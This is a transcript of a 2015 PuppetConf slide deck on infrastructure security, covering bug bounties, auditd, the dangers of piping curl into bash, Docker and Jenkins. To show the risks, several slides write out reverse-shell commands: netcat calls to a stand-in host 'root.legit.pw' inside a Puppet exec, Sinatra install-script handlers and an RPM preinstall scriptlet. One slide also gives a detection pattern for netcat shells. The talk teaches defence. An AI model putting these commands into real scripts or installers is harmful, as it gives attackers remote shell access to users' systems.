Infrastructure Security: How Hard Could it Be, Right?

C7bf554286ede7cb2786b5b19649c19b?s=47 Bea Hughes
October 08, 2015

Infrastructure Security: How Hard Could it Be, Right?

Back in the golden days, some companies had a server, the extravagant ones, maybe even two. Now days with things like commodity hardware, virtualisation and this new website called "cloud", some companies have upward of even ten servers now. What a time to be alive.

We will enjoy together:
* What modern day infrastructure security involves.
* How that is in any way different to how it was in the late 90s.
* How your ops team looks exactly like a great attacker.
* No really, is Docker any different from Solaris Zones?
* Configuration management has made this better, right?
* Github: Where private keys are shared.
* Sobbing for hope and profit!

C7bf554286ede7cb2786b5b19649c19b?s=128

Bea Hughes

October 08, 2015
Tweet

Transcript

  1. Infrastructure Security: How Hard Could it Be, Right? 1 —

    @benjammingh for PuppetConf 2015
  2. To save us all time! Important announcements. 2 — @benjammingh

    for PuppetConf 2015
  3. Who's this clown? 2 · Infrastructure security at Etsy. ·

    Recovered operations monkey at Puppet Labs. · Was at that fabled PuppetCamp way back in 2009. · Had 1300 accounts on his high school Linux system. (: 2 https://twitter.com/skullmandible/status/411281851131523072 3 — @benjammingh for PuppetConf 2015
  4. I am not Tomas Doran. · I don't know anything

    about Mesos or Perl. · He's taller and his hair is on the other side. · (he's also much smarter than me) 4 — @benjammingh for PuppetConf 2015
  5. Yes, I do know Kara Sowles · She's the loveliest

    person. · She likes sea slugs3. · I'm not dying my hair blue again. 3 https://en.wikipedia.org/wiki/Nudibranch 5 — @benjammingh for PuppetConf 2015
  6. Setlist · Intros. (you are here). · Few real world

    problems & applications. · Fixes, or at least coping mechanisms. · Panicked summary based on time. · We victoriously ride our fixies to a coffee shoppe as one! 6 — @benjammingh for PuppetConf 2015
  7. Security! 7 — @benjammingh for PuppetConf 2015

  8. The problem security is hard. 8 — @benjammingh for PuppetConf

    2015
  9. From tiny seeds, do mighty acorns grow. · PinkiePwn's 6

    tiny bugs in Chrome to full sandbox escape. · Egor Homakov's 5 small bugs in Github to full private access on GitHub. · XSS to remote code execution in under an hour. · Username & password stolen for HVAC system leads to $160+ Million Target breach. 9 — @benjammingh for PuppetConf 2015
  10. Things that aren't security are hard too. 10 — @benjammingh

    for PuppetConf 2015
  11. Computering is hard. No. 1 takeaway for security types is

    a sense of perspective. 11 — @benjammingh for PuppetConf 2015
  12. Security people aren't great secure coders. · Snort: 10 CVEs,

    Wireshark: 322! CVEs · Security Firm Bit9 Hacked, Used to Spread Malware · Joxean Koret on Breaking Antivurius so!ware · Tavis from Project Zero on exploiting ESET · BEST! FireEye just running Apache/PHP as root ! 12 — @benjammingh for PuppetConf 2015
  13. So who do I trust? · No one? Always a

    great position for security people, who don't want to get paid. · Everyone? Do I have some emails with funny cats for you to click on. · Security vendors? If you have infinite money and no attackers. · Attackers! 13 — @benjammingh for PuppetConf 2015
  14. "You're already being probed for security holes, do you want

    to know or not?" 14 — @benjammingh for PuppetConf 2015
  15. Bug bounties 101: Have one! Bug Crowd vs. HackerOne 15

    — @benjammingh for PuppetConf 2015
  16. Bug bounties 102: Prepare a lot. 16 — @benjammingh for

    PuppetConf 2015
  17. Bug bounties 103: The first few weeks will be hell.

    17 — @benjammingh for PuppetConf 2015
  18. Bug bounties 104: Be ready with bees! 18 — @benjammingh

    for PuppetConf 2015
  19. Security on the inside 19 — @benjammingh for PuppetConf 2015

  20. Armadillo security architecture 20 — @benjammingh for PuppetConf 2015

  21. Cloud 21 — @benjammingh for PuppetConf 2015

  22. Github 22 — @benjammingh for PuppetConf 2015

  23. 23 — @benjammingh for PuppetConf 2015

  24. But this doesn't happen in real life, right? 24 —

    @benjammingh for PuppetConf 2015
  25. 25 — @benjammingh for PuppetConf 2015

  26. Go use Gitrob · http://michenriksen.com/blog/gitrob-putting- the-open-source-in-osint/ · https://github.com/michenriksen/gitrob 26 —

    @benjammingh for PuppetConf 2015
  27. Auditd 27 — @benjammingh for PuppetConf 2015

  28. Auditd Auditd is the best way to get command execution

    logged in your infrastructure. 28 — @benjammingh for PuppetConf 2015
  29. Auditd Auditd is the worst way to get this information

    to a log file. type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000.... typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl" type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax" type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 29 — @benjammingh for PuppetConf 2015
  30. Mark Ellzey on Auditd. 30 — @benjammingh for PuppetConf 2015

  31. WHY? Why are the logs multiline? 31 — @benjammingh for

    PuppetConf 2015
  32. Multiline logs are the spawn of The Devil Oracle's Java

    32 — @benjammingh for PuppetConf 2015
  33. Coping with multiline auditd · ELK: multiline filter in Logstash.

    · Other: Audisp-json · Have cash, want a decent GUI (and more): Go use Threatstack! · Write something yourself in python & golang: I keep promising to OSS this ): 33 — @benjammingh for PuppetConf 2015
  34. Alert on sketchy things. (assumes ELK) 1. Elastalert from Yelp

    2. Alert on "/bin/nc *-e /bin/sh*" 3. You will now find when someone tries to run a reverse shell! 4. Or when yours ops people do fun things. 34 — @benjammingh for PuppetConf 2015
  35. curl | bash 35 — @benjammingh for PuppetConf 2015

  36. AHEM, "on brand slide" exec{ "curl root.legit.pw | bash": creates

    => '/tmp/backdoorshell', user => 'root', wrongthing => 'for_the_tshirt', } Puppet™ is best! 36 — @benjammingh for PuppetConf 2015
  37. curl legit.pw | sh 37 — @benjammingh for PuppetConf 2015

  38. "But I check them, obviously!" 38 — @benjammingh for PuppetConf

    2015
  39. Sinatra example get '/install.sh' do if request.env['HTTP_USER_AGENT'] =~ /curl/ return

    'nc -e /bin/sh root.legit.pw 2222 &' else return print_install_code() end end 39 — @benjammingh for PuppetConf 2015
  40. Sinatra example 2: Payback get '/install.sh' do ip = request.env['HTTP_CLIENT_IP']

    if seen_before.include? ip return print_install_code() else seen_before << ip return 'nc -e /bin/sh root.legit.pw 2222 &' end end 40 — @benjammingh for PuppetConf 2015
  41. 41 — @benjammingh for PuppetConf 2015

  42. curl | bash "But this is no worse than packages."

    foo$ sudo yum install sketchy foo$ sudo aptitude install sketchy 42 — @benjammingh for PuppetConf 2015
  43. curl | bash "but worse than downloading RPMs from a

    random site?" foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm foo$ dpkg-sig --verify sketchy.1.33-7.deb 43 — @benjammingh for PuppetConf 2015
  44. curl | bash root# rpm -qp --scripts sketchy-1.33-7.rpm preinstall scriptlet

    (using /bin/sh): bash -c 'while : ; \ do \ nc -e /bin/sh root.legit.pw 2222 ;\ done' 44 — @benjammingh for PuppetConf 2015
  45. Verifiable This doesn't exist: foo$ curl legit.pw/sketch.sh | sudo sh

    --gpg-verify No one has ever done this: foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh 45 — @benjammingh for PuppetConf 2015
  46. curl | bash "But I trust HTTPS" · HTTPS certs

    cost ~$6. · If I can't make $6 by owning a system, I should probably stop being an attacker. · @letsencrypt will soon make this free. 46 — @benjammingh for PuppetConf 2015
  47. curl | bash curl -k 47 — @benjammingh for PuppetConf

    2015
  48. curl --yolo | \ sudo sh --yolo 48 — @benjammingh

    for PuppetConf 2015
  49. curl | bash What to do? 49 — @benjammingh for

    PuppetConf 2015
  50. A LIVE DEMO, madness. 50 — @benjammingh for PuppetConf 2015

  51. Lightweight containers! 51 — @benjammingh for PuppetConf 2015

  52. chroot(8) 52 — @benjammingh for PuppetConf 2015

  53. FreeBSD Jails 53 — @benjammingh for PuppetConf 2015

  54. Solaris Zones 54 — @benjammingh for PuppetConf 2015

  55. AIX WPAR 55 — @benjammingh for PuppetConf 2015

  56. 56 — @benjammingh for PuppetConf 2015

  57. Is Docker secure? 57 — @benjammingh for PuppetConf 2015

  58. >30% of Images in Docker Hub Contain High Priority Security

    Vulns - Jayanth Gummaraju, Tarun Desikan and Yoshio Turner from BanyanOps 58 — @benjammingh for PuppetConf 2015
  59. 59 — @benjammingh for PuppetConf 2015

  60. As secure as Vagrant? 60 — @benjammingh for PuppetConf 2015

  61. But is Docker itself secure? · Don't run things as

    root. · No really, stop running things as root. · Did I mention not running things as root. · It is also not 1999. (Docker 1.8 addresses some of this, with it's changes to who it runs as) 61 — @benjammingh for PuppetConf 2015
  62. Securify the Docker. · Don't use --privileged. · Use --cap-drop

    all and --cap-drop <thing> to get the minimum capabilities. · Use Docker Notary · Use GRSecurity (just do that anyway, if you can.) · Use SELinux... I may as well ask for a pony here. 62 — @benjammingh for PuppetConf 2015
  63. But is Docker secure? More secure than what? 63 —

    @benjammingh for PuppetConf 2015
  64. Threat modelling for beginners 1. what are you actually defending

    against? 2. from whom? 3. for how much? 64 — @benjammingh for PuppetConf 2015
  65. Lateral movement > uid=0 65 — @benjammingh for PuppetConf 2015

  66. <pinch of salt goes here> · I am not saying

    Docker is ZOMG unhackable. · it's just cgroups and namespacing. (just) · Escapes will happen. · They have a rad security team (Hi @diogomonica and @nathanmccauley) 66 — @benjammingh for PuppetConf 2015
  67. unpinchofsaltd · You can use it in a way that

    is secure, enough. · network separation & segregation still works. · secrets/credentials still a bigger problem. · PLEASE don't just adopt it because it's new & shiny. · ! " unikernels ✨ $ 67 — @benjammingh for PuppetConf 2015
  68. By law, you must include a container ship image 68

    — @benjammingh for PuppetConf 2015
  69. Jenkins! 69 — @benjammingh for PuppetConf 2015

  70. One of the main delights with Jenkins is... 70 —

    @benjammingh for PuppetConf 2015
  71. Jenkins! user{ 'hudson': home => '/home/hudson', ... } Who's this

    Hudson guy? 71 — @benjammingh for PuppetConf 2015
  72. It's entire job is to take arbitrary code and run

    it, With access to some secret/credential data. 72 — @benjammingh for PuppetConf 2015
  73. It's literally remote code execution as a service. 73 —

    @benjammingh for PuppetConf 2015
  74. Cruft + all your code & (some) secrets 74 —

    @benjammingh for PuppetConf 2015
  75. 75 — @benjammingh for PuppetConf 2015

  76. RCE as a service 6 6 Hacking Jenkins Servers With

    No Password 76 — @benjammingh for PuppetConf 2015
  77. * Disable execution on the master Jenkins host. * Disable

    anonymous access. * (Use travis) 77 — @benjammingh for PuppetConf 2015
  78. But what if Jenkins could be harnessed for good? 78

    — @benjammingh for PuppetConf 2015
  79. Jenkins as a force for [security] good · Gauntlt "be

    mean to your code" · https://github.com/secure-pipeline · Fscking Adobe blog on secure so!ware, zomg! 79 — @benjammingh for PuppetConf 2015
  80. 80 — @benjammingh for PuppetConf 2015

  81. 81 — @benjammingh for PuppetConf 2015

  82. Summary · Computers are apparently hard. · Security is clearly

    harder still, obv. · Actually trust and humans is hard. · The typing is the easy bit. (ish) 82 — @benjammingh for PuppetConf 2015
  83. More Summary · Complex systems lead to much more complex

    security problems. (see Oauth) · Annual pen-tests don't scale, bug bounties can help. · Attackers are mining any public info you have (GitHub, S3, pastebin?) 83 — @benjammingh for PuppetConf 2015
  84. Yet More summary · No really, go check all your

    S3 buckets... · I beg you to stop trusting curl. · If you put an install script online, rather than a package, I will find you. 84 — @benjammingh for PuppetConf 2015
  85. Will there be a summary of summaries? · Auditd is

    awful, but it can be fewer awful. · Jenkins, you probably have to have one. · but that can be okay, nay, even useful for security. 85 — @benjammingh for PuppetConf 2015
  86. A summary appeared, what happened next will shock you ·

    Docker and security can be used in the same sentence. · Understand your threat model (Apple's guide) · Don't be a FireEye, stop running things as root. 86 — @benjammingh for PuppetConf 2015
  87. Thank you · Twidder: @benjammingh · LinkedIn: lnkdin.me/p/benyeah · FidoNet:

    2:254/524.13 · JitHub: github.com/barn · SpeakerDeck: speakerdeck.com/barnbarn · Etsy: Careers <--- CodeAsCra! <--- our blog 87 — @benjammingh for PuppetConf 2015